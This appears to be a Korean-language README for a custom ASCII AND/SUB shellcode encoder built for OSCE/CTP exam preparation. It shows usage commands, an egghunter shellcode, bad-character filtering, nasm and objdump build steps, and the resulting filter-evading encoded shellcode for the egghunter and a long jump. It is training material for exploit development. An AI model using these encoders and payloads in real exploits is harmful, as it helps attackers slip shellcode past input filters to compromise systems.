
이것은 레거시 OSCE/CTP 과정을 준비하는 동안 개발한 사용자 정의 ASCII AND/SUB 인코더입니다.
이 도구는 레거시 OSCE 인증으로 이어지는 offensive security CTP 과정을 준비하는 동안 제작되었습니다. 이 도구는 맞춤형 Ascii Subtraction Encoder의 nasm 친화적인 어셈블리 명령어를 생성합니다. 이 도구의 개발은 Vello Security의 다음 블로그 게시물에서 설명된 Ascii Subtraction Encoder 로직의 설명을 기반으로 합니다.
Vello Security - 제한적 문자 집합을 사용한 셸코드 조각
x86 아키텍처의 경우 다음을 실행합니다
gcc sub.c -o sub
x86_64 아키텍처의 경우 다음을 실행합니다
gcc -m32 sub.c -o sub
인자 없이 실행 파일을 실행하면 사용법 정보가 표시됩니다
./sub
Args:
[-s] The shellcode to encode
[-j] Encode a long jump
[-b] The bad characters to filter out
이제 다음 egghunter 셸코드를 인코딩하려고 한다고 가정해 보겠습니다
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7
다음 명령을 사용하면 실행 파일을 실행하여 egghunter를 인코딩하는 데 사용되는 Ascii Subtraction Encoder 명령어를 생성할 수 있습니다
./sub -s \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7 -b \x00
배드 문자가 없는 경우에도 최소한 -b 옵션을 사용하여 최종 인코딩된 셸코드에서 널 바이트가 발생하지 않도록 할 수 있습니다. 이 시점에서 프로그램은 배드 문자를 필터링하지 않고는 사용할 수 없습니다.
다음 스크린샷은 Sub encoder가 작동하는 모습을 보여줍니다
명령어를 nasm 파일에 직접 저장하려면 다음 명령을 사용할 수 있습니다
./sub -s \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7 -b \x00 > test.nasm
이제 어셈블리 코드를 컴파일할 수 있습니다
nasm -f win32 -o test.o test.nasm
ld -o test test.o
이 시점에서 최종 인코딩된 셸코드를 생성할 수 있습니다
root@kali:/home/kali/Desktop# objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x79\x09\x80\x09\x2d\x0c\x09\x76\x0d\x2d\x06\x06\x0a\x01\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x0a\x26\x0e\x0a\x2d\x2f\x4f\x06\x24\x2d\x18\x15\x01\x22\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x43\x1b\x0f\x01\x2d\x59\x5f\x64\x15\x2d\x34\x31\x03\x12\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x0c\x0c\x7e\x0a\x2d\x04\x25\x25\x83\x2d\x01\x16\x05\x42\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x26\xab\x0c\x60\x2d\x69\x38\x4f\x20\x2d\x35\x17\x4a\x0b\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\xca\x23\x03\x35\x2d\x29\x6d\x21\x58\x2d\x0b\x17\x0e\x44\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x1a\x36\x17\x66\x2d\xca\x6f\x60\x27\x2d\x0d\x18\x36\x08\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x09\x10\x05\xdc\x2d\x4f\x52\x1f\xe3\x2d\x42\x1c\x11\x41\x50"
같은 방식으로 Sub encoder를 사용하여 long jump도 인코딩할 수 있습니다. 먼저 msf-nasm_shell로 opcode를 생성합니다
root@kali:/home/kali/Desktop# msf-nasm_shell
nasm > jmp $-299
00000000 E9D0FEFFFF jmp 0xfffffed5
nasm >
이제 해야 할 일은 Sub encoder를 사용하여 인코딩된 셸코드를 생성하는 것뿐입니다. 셸코드가 4로 나누어떨어지지 않으므로 기능에 영향을 주지 않는 nop 패딩을 셸코드에 추가합니다. (\x90을 사용하기로 선택했지만 대상 프로그램이 허용하는 한 다른 nop 패딩도 적용할 수 있습니다)
root@kali:/home/kali/Desktop/Exam# ./sub -j \x90\90\xE9\xD0\xFE\xFF\xFF\x90 -b \x00
; . ,
; .c. ;.
; .. .. . ..,;clc;x'.l
; 'kkoldxl;:o. ,ldkkkkkld:
; ,oxkkllkkk:. .dkkkkkxkkkkkl.
; ;kkkkkkkko,. .xkkkk:. .ckkkcx.
; ,ko,;dkkk:. ,;kkkx ;kklo:
; . ckkko. :kkkk. ,kkkkk,
; .xkkc; ckkkk; .;cokkkd.
; okkk,.ckkkkk' , .:kk.
; xkkxc ,odkkkk:. .l'. ;:
; .kkko; c.okkkkkxookkxo.
; :kkkd. .,:lkkkkkkkkkl:d,..
; .:. ''. xkkdl ..:dkkkkkklxkkkkkkk,
; ccod:,. .kkk;' .xkkkxdkkk,.kkkxdxkl
; .xkkkkko..kkk. .xkkko..xkkd ';. .,.
; lkkkkkkk:.kkk. ;ckkx. ckkk. ... c.
; ;lkk..lkkd,kkk. .kkko ;kkk. .;dcd.
; :dkk. 'kkx.okkl ,kkkk. :kkk.'dkkkkd.
; .xkc. ;kkk''kkk, 'kkkkx. okkk.:kkdckko.
; lk' .xkko. lkkk:..dlkkkx,kkkx.kkk. okd:
; .: ,kkx, .okkkd';.dkkkkkkkd.kkk. 'cxk,
; ;kkd .ckkkkd:;kkkkkkkl.kkk; .oc
; ,kkk. ,kkkkkkkkkkkkk, ldkk. ..
; .xkkx;. :kkkkkkkkkkkk. .:kk,
; ,kkkkkdl:;okkkkkkkkkkk; lkk.
; ,kkkkkkkkkkkkkkkkkkko.';dkkc
; .lkkkkkkkkkkkkkkkkkkkkkkko.
; .,. :xkkkkkkkkkkkkkkkkkkkkkkd.
;
; Author: Xenofon Vassilakopoulos
; @xvass
; Version 1.0
global _start
section .text
_start:
;-------------------------------------------
; Token : \x90\xff\xff\xfe
; 0x0 - 0x90fffffe = 0x6f000002
and eax, 0x50505050
and eax, 0x2a2a2a2a
sub eax, 0x0d1a0f01
sub eax, 0x4187b9ca
sub eax, 0x205e3737
push eax
;-------------------------------------------
; Token : \xd0\xe9\x90\x90
; 0x0 - 0xd0e99090 = 0x2f166f70
and eax, 0x50505050
and eax, 0x2a2a2a2a
sub eax, 0x1c05251e
sub eax, 0x0c0c3b3d
sub eax, 0x07050f15
push eax
배드 문자가 많은 경우에도 이전과 동일한 방법으로 쉽게 Sub encoder를 사용할 수 있습니다. 다음과 같은 배드 문자가 있다고 가정해 보겠습니다
\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
배드 문자를 제거한 인코딩된 페이로드를 생성하려면 kali linux에서 다음 명령을 실행해야 합니다
./sub -s \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7 -b \x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
앞서 설명한 것과 같은 방식으로 출력을 test.nasm 파일로 리다이렉션하여 이전 예제에서와 같이 nasm으로 컴파일합니다.
./sub -s \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7 -b \x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff > test.nasm
그런 다음 다음과 같이 test.nasm 파일을 컴파일합니다
nasm -f win32 -o test.o test.nasm
ld -o test test.o
마지막으로 objdump를 사용하여 sub 인코딩된 셸코드를 생성합니다
root@kali:/home/kali/Desktop# objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x3c\x01\x67\x0e\x2d\x4a\x0e\x78\x06\x2d\x05\x09\x21\x03\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x03\x1f\x02\x0c\x2d\x38\x66\x0f\x3c\x2d\x16\x05\x04\x08\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x12\x4c\x0b\x06\x2d\x79\x5e\x47\x14\x2d\x45\x01\x24\x0e\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x09\x34\x3b\x44\x2d\x05\x0c\x49\x5e\x2d\x03\x07\x24\x2d\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x47\x5c\x38\x54\x2d\x5e\x7f\x5f\x26\x2d\x1f\x1f\x0e\x11\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x3b\x11\x15\x34\x2d\x75\x71\x1a\x66\x2d\x4e\x25\x03\x37\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x33\x2c\x5f\x50\x2d\x70\x73\x28\x23\x2d\x4e\x1e\x26\x22\x50\x25\x50\x50\x50\x50\x25\x2a\x2a\x2a\x2a\x2d\x46\x34\x12\x57\x2d\x51\x26\x1d\x60\x2d\x03\x24\x06\x49\x50"